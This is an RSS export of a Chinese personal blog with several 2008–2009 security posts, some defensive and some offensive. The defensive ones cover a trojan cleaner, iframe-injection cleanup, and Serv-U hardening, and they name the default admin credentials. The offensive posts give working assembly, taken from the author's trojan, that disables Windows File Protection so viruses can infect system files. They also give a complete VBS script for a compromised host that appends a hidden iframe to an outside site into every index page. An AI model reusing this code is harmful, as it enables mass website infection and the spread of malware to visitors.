<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[青云]]></title>
<description><![CDATA[青云的地盘]]></description>
<link>http://285584.qzone.qq.com</link>
<lastBuildDate>Wed, 25 Nov 2009 21:20:24 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Fri, 25 Sep 2009 02:20:16 GMT</pubDate>

<item>
<title><![CDATA[本站原创软件网站木马清理专家特征库再次升级]]></title>
<link>http://285584.qzone.qq.com/blog/1253845216</link>
<description><![CDATA[公告：<br>本站原创软件网站木马清理专家特征库再次升级，用户无需更新，软件本来就是连的我们公用的特征库，只要软件能正常打开就已经有最新的查杀能力了！【原创软件】网站木马清理专家 免费版 Free2009下载地址如下,欢迎下载试用,如有查不到的木马请把马提交给QQ285584 /db<br><a href="http://safe.atimg.com/a_View.asp?kind=3&amp;id=41" target="_blank">http://safe.atimg.com/a_View.asp?kind=3&amp;id=41</a><wbr /><br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1253845216#comment</comments>
<qz:effect>135266304</qz:effect>
<pubDate>Fri, 25 Sep 2009 02:20:16 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1253845216</guid>
</item>

<item>
<title><![CDATA[汇编代码之关闭系统文件保护]]></title>
<link>http://285584.qzone.qq.com/blog/1206068789</link>
<description><![CDATA[对于写一些感染系统文件的病毒或木马时,那个&quot;系统文件保护&quot;好象满让人讨厌的,下面给大家一个关闭系统文件保护汇编例子[摘自我个人所写的&quot;冰马&quot;],希望对和我一样初学win32汇编的新手有点帮助! [转载请保留出处]<br>作者:冰狐浪子 [<a href="http://www.icyfoxlovelace.com/" target="_blank">http://www.icyfoxlovelace.com</a><wbr />]<br>代码共分四个部分<br><span style="color:#0000c0;line-height:1.8em;">关闭系统文件保护例子.asm</span><wbr /><br>    .386<br>    .model flat, stdcall<br>    option casemap :none<br>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br>; Include 文件定义<br>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br>include    windows.inc<br>include    user32.inc<br>includelib  user32.lib<br>include    kernel32.inc<br>includelib  kernel32.lib<br>include    advapi32.inc<br>includelib  advapi32.lib<br>    .code<br>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br>;冰狐浪子作品代码节选<br>include    关闭文件保护.asm<br>Fsb  db  &quot;无法关闭文件保护!&quot;,0<br>Fcg  db  &quot;成功关闭文件保护!&quot;,0<br>start:<br>  call  _Sfcoff    ;关闭文件保护<br>  .if eax<br>    invoke  MessageBox,NULL,offset Fcg,offset Fcg,MB_OK<br>  .else<br>    invoke  MessageBox,NULL,offset Fsb,offset Fsb,MB_OK<br>  .endif<br>ret<br>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br>    end  start<br><span style="color:#0000c0;line-height:1.8em;">提升权限.asm</span><wbr /><br>;提升权限,获得在系统进程中插入代码的权限<br>;冰狐浪子作品代码节选<br>;include  advapi32.inc<br>;includelib  advapi32.lib<br>SE_DEBUG_NAME_Y  db &quot;SeDebugPrivilege&quot;,0<br>_EnableDebugPrivilege  proc<br>      local  @hToken<br>      local  @tp:TOKEN_PRIVILEGES<br>  invoke  GetCurrentProcess<br>  lea  ecx,@hToken<br>  invoke  OpenProcessToken,eax,TOKEN_ADJUST_PRIVILEGES,ecx  ;addr @hToken<br>  mov  @tp.PrivilegeCount,1<br>  invoke  LookupPrivilegeValue,NULL,addr SE_DEBUG_NAME_Y,addr @tp.Privileges[0].Luid<br>  mov  @tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED<br>  invoke  AdjustTokenPrivileges,@hToken,FALSE,addr @tp,sizeof @tp,NULL,NULL<br>  push  eax<br>  invoke  CloseHandle,@hToken<br>  pop  eax<br>  ret<br>_EnableDebugPrivilege  endp<br><span style="color:#0000c0;line-height:1.8em;">查找进程.asm</span><wbr /><br>;根据程序名,查找进程id<br>;冰狐浪子作品代码节选<br>;include  kernel32.inc<br>;includelib  kernel32.lib<br>;  例:<br>;  namePr  db  &quot;EXPLORER.EXE&quot;,0<br>;  ............<br>;  invoke  _findProcess,offset namePr<br>;  .if eax<br>;  找到<br>;  .else<br>;  没找到<br>;  .endif<br>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br>;清零<br>_ZeroMemory  proc  _lpDest,_dwSize<br>    <br>    push  edi<br>    cld<br>;push  _lpDest<br>    mov  edi,_lpDest<br>    mov  ecx,_dwSize<br>    xor  eax,eax<br>    rep  stosb<br>;pop  eax<br>    pop  edi<br>    ret<br>_ZeroMemory  endp<br>;计算字符串长度（带尾部的0）<br>_lstrlen  proc  _lpString<br>    push  edi<br>    cld<br>    mov  edi,_lpString<br>    mov  ecx,-1<br>    xor  al,al<br>    repnz  scasb<br>    mov  eax,edi<br>    sub  eax,_lpString<br>    pop  edi<br>    ret<br>_lstrlen  endp<br>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br>;;查找进程id  参数：@ProcessName指向进程名的大写字符串地址<br>;;eax=返回的id(eax=0表示没找到)<br>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br>_findProcess  proc  @ProcessName<br>    local  @StringLength    ;@ProcessName指向的字符串长度<br>    ;用于获取进程<br>    local  @hSnapShot<br>    local  @stProcess:PROCESSENTRY32<br>;********************************************************************<br>; 计算传入 进程名 字符串的长度（带尾部的0）<br>;********************************************************************<br>    invoke  _lstrlen,@ProcessName<br>    mov  @StringLength,eax<br>    invoke  _ZeroMemory,addr @stProcess,sizeof @stProcess<br>    mov  @stProcess.dwSize,sizeof @stProcess<br>    invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0<br>    mov  @hSnapShot,eax<br>    invoke  Process32First,@hSnapShot,addr @stProcess<br>    .while  eax<br>      lea  esi,@stProcess.szExeFile<br>      push  esi<br>      mov  edi,esi<br>;变为大写字母<br>      _nextz:<br>      lodsb<br>      cmp  al,60h<br>      jc  @F <br>      cmp  al,7Bh<br>      ja  @F<br>      and  al,not 20h<br>@@:      STOSB<br>      cmp  al,&quot;\&quot;<br>      jnz  @F<br>      pop  ecx  ;保存的esi出栈,无用<br>      push  esi<br>@@:<br>      or  al,al<br>      jne  _nextz<br>      mov  ecx,@StringLength    ;字符串比较<br>      pop  esi<br>      mov  edi,@ProcessName<br>      repz  cmpsb<br>      .if  ZERO?  ;找到了同名进程(ZF=1)<br>        mov eax,@stProcess.th32ProcessID<br>        jmp  @F<br>      .endif<br>      invoke  Process32Next,@hSnapShot,addr @stProcess<br>    .endw<br>    push eax<br>    invoke  CloseHandle,@hSnapShot<br>    pop eax<br>@@:    ret<br>_findProcess  endp<br><span style="color:#0000c0;line-height:1.8em;">关闭文件保护.asm</span><wbr /><br>;冰狐浪子作品代码节选<br>include    提升权限.asm<br>include    查找进程.asm<br>namePr  db  &quot;WINLOGON.EXE&quot;,0<br>sfc_2000  db  'sfc.dll',0<br>sfc_xp    db  'sfc_os.dll',0<br>;关闭文件保护<br>_Sfcoff  proc<br>  local  @hSfc<br>    local  @hProcess<br>    invoke  _EnableDebugPrivilege    ;提升权限<br>    invoke  _findProcess,offset namePr  ;查找进程<br>    invoke  OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION,FALSE,eax<br>;PROCESS_ALL_ACCESS<br>    .if  eax<br>      mov  @hProcess,eax    ;进程句柄<br>      invoke  LoadLibrary,offset sfc_2000<br>      .if !eax<br>        invoke  LoadLibrary,offset sfc_xp<br>      .endif<br>  mov  @hSfc,eax<br>      invoke  GetProcAddress,eax,2<br>  push  eax<br>  invoke  FreeLibrary,@hSfc<br>  pop  eax<br>      .if eax<br>        xor  ecx,ecx<br>        invoke  CreateRemoteThread,@hProcess,ecx,ecx,eax,ecx,ecx,ecx<br>        .if  eax<br>          invoke  CloseHandle,eax<br>          jmp @F<br>        .endif<br>      .endif<br>      invoke  CloseHandle,@hProcess    ;关闭进程句柄<br>    .endif<br>    xor eax,eax<br>@@:    ret<br>_Sfcoff  endp <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1206068789#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Fri, 21 Mar 2008 03:06:29 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1206068789</guid>
</item>

<item>
<title><![CDATA[VBS也能批量挂马]]></title>
<link>http://285584.qzone.qq.com/blog/1205747035</link>
<description><![CDATA[好不容易才得到一台肉鸡，在保住肉鸡的同时还不免要扩大自己的成果。挂马其实是一个不错的选择，还有很多比我们菜的菜鸟还不懂打补丁呢（嘻嘻……）!前天下载了个批量挂马程序看了下200多K，想放在肉鸡上测试一下，好不容易才上传到肉鸡上不知怎么，运行的时候弹出个错误窗口肉鸡就挂了(真是悲哀………)！于是就想自己用脚本写个，个子小又有安全感！（Socket:下次进一个网站估计要中几十次木马了。）<br>主要功能：遍历目录，寻找符合条件的文件把马写进去。<br>下面的是代码，只要把代码copy到文件里另存为scan.vbe在cmd下运行。<br>cscript scan.vbe 要挂马的目录<br>例：cscript scan.vbe D:\<br>'版权信息<br>br=&quot;************************************&quot; &amp; vbCrLf<br>br=br &amp; &quot;* VBS 批量挂马脚本 *&quot; &amp; vbCrLf<br>br=br &amp; &quot;* BY BanLG *&quot; &amp; vbCrLf<br>br=br &amp; &quot;************************************&quot; &amp; vbCrLf &amp; vbCrLf<br>br=br &amp; &quot;cscript scan.vbe D:\&quot; &amp; vbCrLf <br>'马的地址<br>ma=&quot;&lt;/Script&gt;&lt;IfRAME height=0 width=0 sRc=&quot; &amp; chr(34) &amp; &quot;<a href="http://www.hacker.com.cn/" target="_blank">http://www.hacker.com.cn</a><wbr />&quot; &amp; chr(34) &amp; &quot;&gt;&lt;/IFrAME&gt;&quot;<br>'要挂马的页面如果嫌不够还可以自己再加，记得要用”|”隔开<br>MyString=&quot;index.asp|index.html|index.htm|default.asp|default.html|default.htm&quot;<br>'以&quot;|&quot;为分隔符拆分成数组<br>MyArray = Split(MyString, &quot;|&quot;, -1, 1)<br>web=WScript.Arguments(0)<br>'如果web为空退出脚本<br>if web=&quot;&quot; then<br>Wscript.echo (br)<br>window.Close<br>end if<br>Wscript.echo (br) &amp; &quot;马的地址：&quot; &amp; ma &amp; vbCrLf &amp; vbCrLf<br>'创建对象<br>Set fso = createObject(&quot;Scripting.FileSystemObject&quot;)<br>'开始扫描挂马<br>scan(web)<br>'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾<br>sub scan(filesder) <br>set filesder=fso.getfolder(filesder)<br>'得到当前目录的所有文件集合<br>set files=filesder.files <br>'获取文件名<br>for each fext in files<br>Set file1 = fso.GetFile(fext)<br>filesext=file1.Name<br>'把文件名转换成小写字母<br>ext=lcase(filesext) <br>For Each index in MyArray<br>'判断文件是不是我们在MyString里限定的文件，如果是就写马<br>if ext=lcase(index) then<br>Set ts = fso.OpenTextFile(fext,8) '打开文件并在文件末尾进行写操作<br>ts.WriteLine(ma)<br>ts.Close<br>echo=&quot;&quot;<br>echo=fext &amp; &quot; .............ok&quot;<br>Wscript.echo (echo)<br>end if<br>next<br>next<br>set subfolders=filesder.subfolders<br>for each subfolder in subfolders '搜索其他目录,递归调用<br>scan(subfolder)<br>next <br>end sub<br>下面是我在本地测试的。<br>如果看不懂脚本可以参考下“VBScript 用户手册”，有什么问题可以到黑防论坛讨论，期待共同进步 <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205747035#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Mon, 17 Mar 2008 09:43:55 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205747035</guid>
</item>

<item>
<title><![CDATA[关于网站被批量挂马的解决方法]]></title>
<link>http://285584.qzone.qq.com/blog/1205746959</link>
<description><![CDATA[最近公司网站被人批量挂马,所有网页被加入类似:<span style="font-size:13px;line-height:1.8em;">&lt;<span style="color:#c60a00;line-height:1.8em;">iframe</span><wbr /> <span style="color:#c60a00;line-height:1.8em;">src</span><wbr />=&quot;<span style="color:#c60a00;line-height:1.8em;">http:</span><wbr />//<span style="color:#c60a00;line-height:1.8em;">xx.9365.org</span><wbr />/ip/1.htm&quot; width=100 height=0&gt;&lt;/<span style="color:#c60a00;line-height:1.8em;">iframe</span><wbr />&gt;,这样一段代码,网上搜时发现最近网站被批量挂马的事例越来越多,但是没搜到具体的解决方法,所以把解决方案写一下供大家参考:</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">       你要确认服务器是被批量挂马还是被ARP攻击,ARP攻击的现象是在服务器上查看网页文件时,没有那段木马代码,但是打开网站的网页时会转入这个木马地址。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">       网页被批量挂马现象是打开网页文件，源代码中有木马地址。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">       ARP攻击的解决方法我前面一篇文章介绍过，在此不再赘述。如果想更傻瓜一点可以装个Anti ARP Sniffer这种软件，不过这软件是款共享软件，要花钱的。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">       确定为网页被批量挂马时就要检查一下网站里的程序了，因为一般挂马都是通过程序漏洞来进行的。也就是通过程序的上传漏洞上传木马，然后进行批量挂马。如果程序是你自己写的，那找木马程序就简单多了（我们公司的网站在我以前有过两个挺菜的程序员，写的程序漏洞相当多，虽然我已经大部分改成了生成静态页程序，但还有一些没有改）发现可疑的文件名就打开查看一下。如果程序不是你写的，你可以搜索.asp（或.php，.jsp，.asa等等）一些程序扩展名，看你的空间支持情况来定。这儿不用你一个一个的查看，只要注意文件的建立日期就能很快找到可疑文件。找到后先不要删除，看好木马的位置，然后检查网站程序本身的漏洞，侧重上传程序（在这里你可以打开木马程序看一下主要有哪些功能，侧重恶意程序的功能进行服务器漏洞修复）,你网站如果用eWebEditor这个WEB编辑器要特别注意，注意后台管理员密码是否改过，如果你用默认的那就。。。。。。然后查看数据库名字，不要用默认的，默认的是可以被下载下来查出密码来的，MD5的解秘程序这么多，保不准哪个就能解开你的用户名密码，打开ewebeditor查看各个样式，看上传类型里有没有特殊的，如：ASA、asp，改过来，然后在服务器把webeditor的数据库文件设成只读，以防止别人再进行修改。再有就是你服务器上一些别的上传组件检查一下，确认没有漏洞。一般的木马程序都可以通过serv-u这个程序来提升权限，所以你如果没有改过它的端口，很容易中招，查完木马一定要打开计算机管理检查一下本地用户，如果有特殊的用户，删掉。这儿还关系到一些服务器的安全设置，比如将uploadfile 这些目录设成不充许执行程序等等，相信有经验的管理员都已经是家常菜了，在此我就不搬门弄斧了。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">      写到这里就算完结了，最后一句话，网站被批量挂马，表示你程序或服务器设置肯定有漏洞，这是入手的前提。</span><wbr /><br> <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205746959#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Mon, 17 Mar 2008 09:42:39 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205746959</guid>
</item>

<item>
<title><![CDATA[Serv-U FTP软件的攻击防守]]></title>
<link>http://285584.qzone.qq.com/blog/1205737814</link>
<description><![CDATA[在看这篇文章之前，有几点要注意<br>1、everyone用户完全控制目录在服务器上绝对不能出现<br>2、WEB目录上的权限都是独立的一般情况下是读取和写入，无运行权利<br>3、ipsec做了限定相关出入站端口访问<br>Serv-u本地默认管理端口，以默认管理员登陆新建域和用户来执行命令，Serv-u V3.x以上的版本默认本地管理端口是：127.0.0.1:43958，所以只能本机连接，默认管理员：<br>LocalAdministrator，默认密码：#l@$ak#.lk;0@P，这是集成在Serv-u内部的，可以以Guest权限来进连接，对Serv-u进行管理,如图1<br><div style="text-align:center;"><wbr /><a href="http://www.blueidea.com/articleimg/2005/04/2481/1.gif" target="_blank"><img style="width:380px;height:382px;border:0;" src="http://www.blueidea.com/articleimg/2005/04/2481/1.gif" /></a><wbr /></div>防止办法和对策:<br>serv-U v6以下的版本可以直接用Ultraedit修改文件ServUDaemon.exe和ServUAdmin.exe,把默认密码修改成等长度的其它字符就可以了,用<br>Ultraedit打开ServUAdmin.exe查找最后一个B6AB(43958的16进制)，替换成自定义的端口比如3930（12345），不过因为serv-U v6以下版本有远程缓冲区溢出漏洞，不建议使用<br>serv-U v6以上的版本可以在ServUDaemon.ini中加上LocalSetupPortNo=12345,可改变默认的管理端口,采用ipsec限制任何IP访问12345端口访<br>问,即增加12345端口的阻止,如果不改默认端口,就增加43958端口的阻止,如果&quot;使用设置更改密码&quot;的按钮,即在 ServUDaemon.ini中加上<br>LocalSetupPassword=ah6A0ED50ADD0A516DA36992DB43F3AA39之类的MD5密码,如果不修改默认管理密码的话, 原来的#l@$ak#.lk;0@P依旧保存只有当密码为空时使用，再加上管理端口的限定LocalSetupPortNo=12345，当然程序中也要改端口的<br><div style="text-align:center;"><wbr /><a href="http://www.blueidea.com/articleimg/2005/04/2481/2.gif" target="_blank"><img style="width:458px;height:116px;border:0;" src="http://www.blueidea.com/articleimg/2005/04/2481/2.gif" /></a><wbr /></div>设置目录权限，通过去掉Web目录IIS访问用户的执行权限来防止使用Webshell来运行Exp程序，但这个方法有一定的局限性，需要设置的目录很多，不能有一点疏漏，如果有一个目录设置错误，就会导致可以在这个目录上传并运行Exp，因为WEB上的权限都是独立的一般情况下是读取和写入.无运行权利.那么上传其他文件进行执行成功可能性不大，修改Serv-u安装目录C:\Program Files\Serv-U的权限（比如说这个目录，不过为了安全，请不要使用默认目录），administrator组完全控制，拒绝Guests组用户访问Serv-U目录，这是防止用户使用webshell来下载 ServUDaemon.exe，用Ultraedit打开分析Serv-U的帐号密码，并修改编译上传运行,那前面做的工作都没有作用了,因为这里默认管理端口在程序文件中已经修改，在ServUDaemon.ini中也已经修改，这样来说默认的管理员连接不上了<br><div style="text-align:center;"><wbr /><a href="http://www.blueidea.com/articleimg/2005/04/2481/3.gif" target="_blank"><img style="width:366px;height:446px;border:0;" src="http://www.blueidea.com/articleimg/2005/04/2481/3.gif" /></a><wbr /></div>最后一条，因为Serv-U是以服务启动默认是以System权限运行的，才会有被权限提升的可能。只需要把Serv-U的启动用户改成一个USER组的用户，那么就再不会有所谓的权限提升了。但要注意的是，这个低权限用户一定要对Serv-U安装目录和提供FTP服务的目录或盘符有完全控制的权限。经测试发现，使用普通组用户启动的Serv-U是不能增加用户和删除用户的，其他一切正常 <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205737814#comment</comments>
<qz:effect>513</qz:effect>
<pubDate>Mon, 17 Mar 2008 07:10:14 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205737814</guid>
</item>

<item>
<title><![CDATA[为SERV-U打造最安全的FTP设置]]></title>
<link>http://285584.qzone.qq.com/blog/1205737752</link>
<description><![CDATA[    作为一款经典的FTP服务器软件，SERV－U一直被大部分管理员所使用，它简单的安装和配置以及强大的管理功能的人性化也一直被管理员们称颂。但是随着使用者越来越多，该软件的安全问题也逐渐显露出来。<br>    首先是SERV-U的SITE CHMOD漏洞和Serv-U MDTM漏洞，即利用一个账号可以轻易的得到SYSTEM权限。其次是Serv-u的本地溢出漏洞，即Serv-U有一个默认的管理用户（用户名：localadministrator，密码：#　@$ak#.　k;0@p），任何人只要通过一个能访问本地端口43958的账号就可以随意增删账号和执行任意内部和外部命令。<br>　　<br>　　此时，人们才开始重视起SERV－U的安全来，并采取了一些相关措施，如修改SERV－U的管理端口、账号和密码等。但是，修改后的内容还是保留在ServUDaemon.exe文件里，因此下载后用如UltraEdit之类的16进制编辑软件就可以很轻易的获取到修改后的端口、账号和密码。<br>　　<br>　　从SERV－U6.0.0.2开始，该软件有了登录密码功能，这样如果加了管理密码，并且设置比较妥善的话，SERV－U将会比原来安全的多。现在我们就开始SERV－U的设置之旅，采用版本是SERV－U 6.0.0.2。<br>　　<br>　　古语有云，千尺之台始于垒土，设置SERV－U的安全就从安装开始。这篇文章主要是写SERV－U的安全设置，所以不会花费太多的功夫来介绍安装，只说一下要点。<br>　　<br>　　SERV－U默认是安装在C:Program FilesServ-U目录下的，我们最好做一下变动。例如改为：D:u89327850mx8utu432X$UY32x211936890co7v23x1t3（图1）这样的路径，如果安装盘符WEB用户不能浏览的话，他便很难猜到安装的路径。当然，安装后会在桌面和开始菜单上生成快捷方式，建议删除，因为一般不会使用到它。可能你要问了，那应该怎样进入SERV－U的设置界面呢？其实很简单，双击下右角任务栏里的Tray Monitor小图标来启动SERV－U的管理界面。<br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080181.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080181.jpg" /></a><wbr /></div><div style="text-align:center;">　　 图1：修改安装的目录</div>　　 安装的时候只选前2项就可以了，后面的2个是说明和在线帮助文件。(见图2)<br>　　 <br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080182.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080182.jpg" /></a><wbr /></div><div style="text-align:center;">图2：安装时候只需要选择前2项</div>　　<br>　　下图是生成的开始菜单组里的文件夹的名字，建议更改成比较不像SERV－U的名字，或者是删除该文件夹。(见图3)<br>　<br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080183.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080183.jpg" /></a><wbr /></div><div style="text-align:center;">　 图3：更改安装后生成开始菜单组里文件夹的名字</div>　　<br>　　安装完成后会出现一个向导让你建立一个域和账号。在这里点Cancel取消向导。用向导生成的账号会带来一些问题，所以下面采用手工方式建立域和账号。(见图4)<br>　　 <br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080184.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080184.jpg" /></a><wbr /></div><div style="text-align:center;">图4：点Cancel取消向导</div>　　然后点选Start automatically(system service)前面的选项，接着点下边的Start Server按钮把SERV－U加入系统服务，这样就可以随系统启动了，不用每次都手工启动。(见图5)<br>　<br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080185.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080185.jpg" /></a><wbr /></div><div style="text-align:center;">　 图5：把SERV－U加入服务</div>　　接下来就会出现如图6的界面。通过点击Set/Change Password设置一个密码。<br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080186.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080186.jpg" /></a><wbr /></div><div style="text-align:center;">图6：点击Set/Change Password设置密码</div>　　然后会出现如图7的界面。因为是第一次使用，所以是没有密码的，也就是说原来的密码为空。不用在old password里输入字符，直接在下面的New password和Repeat new password里输入同样的密码再点OK就可以了。这里建议设置一个足够复杂的密码，以防止别人暴力破解。自己记不得也没有关系，只要把ServUDaemon.ini里的LocalSetupPassword=这一行清除并保存，再次运行ServUAdmin.exe就不会提示你输入密码登录了。<br>　<br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080187.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080187.jpg" /></a><wbr /></div><span style="line-height:1.8em;"><div style="text-align:center;">图7：设置和更改密码界面</div>　　下面就到了该对SERV－U进行安全设置的时候了。首先建立一个WINDOWS账号SSERVU，密码也需要足够的复杂。密码要记住，如果记不住就暂时保存在一个文件里，一会儿还要用到。(见图8)</span><wbr /><br><span style="line-height:1.8em;">　　 <br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080188.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080188.jpg" /></a><wbr /></div><div style="text-align:center;">图8：建立一个WINDOWS账号</div>　　建好账号以后，双击建好的用户编辑用户属性，从“隶属于”里删除USERS组。</span><wbr /><br><span style="line-height:1.8em;">　　 <br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080189.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080189.jpg" /></a><wbr /></div><div style="text-align:center;">图9：从隶属于里删除USERS组</div>　　从“终端服务配置文件”选项里取消“允许登录到终端服务器（W）”的选择，然后点击确定继续我们的设置。（见图10）</span><wbr /><br><span style="line-height:1.8em;"><br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080190.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080190.jpg" /></a><wbr /></div><div style="text-align:center;">图10：取消“允许登录到终端服务器”</div>　　这里我们已经建好了账号，该设置服务里的账号了。现在就要用到刚才建立的这个账号，密码还没有忘记吧，马上就要用到了。</span><wbr /><br><span style="line-height:1.8em;">　　</span><wbr /><br><span style="line-height:1.8em;">　　在开始菜单的管理工具里找到“服务”点击打开。在“Serv-U FTP Server服务”上点右键，选择属性继续。</span><wbr /><br><span style="line-height:1.8em;">　　</span><wbr /><br><span style="line-height:1.8em;">　　然后点击“登录”进入登录账号选择界面。选择刚才建立的系统账号名，并在下面重复输入2次该账号的密码（就是刚才让你记住的那个），然后点“应用”，再次点确定，完成服务的设置。（见图11）</span><wbr /><br><span style="line-height:1.8em;">　　 <br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080191.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080191.jpg" /></a><wbr /></div><div style="text-align:center;">图11：更改启动和登录SRV－U的账号密码</div>　　接下来要先使用FTP管理工具建立一个域，再建立一个账号，建好后选择保存在注册表。（见图12）</span><wbr /><br><span style="line-height:1.8em;">　　 <br><div style="text-align:center;"><wbr /><a 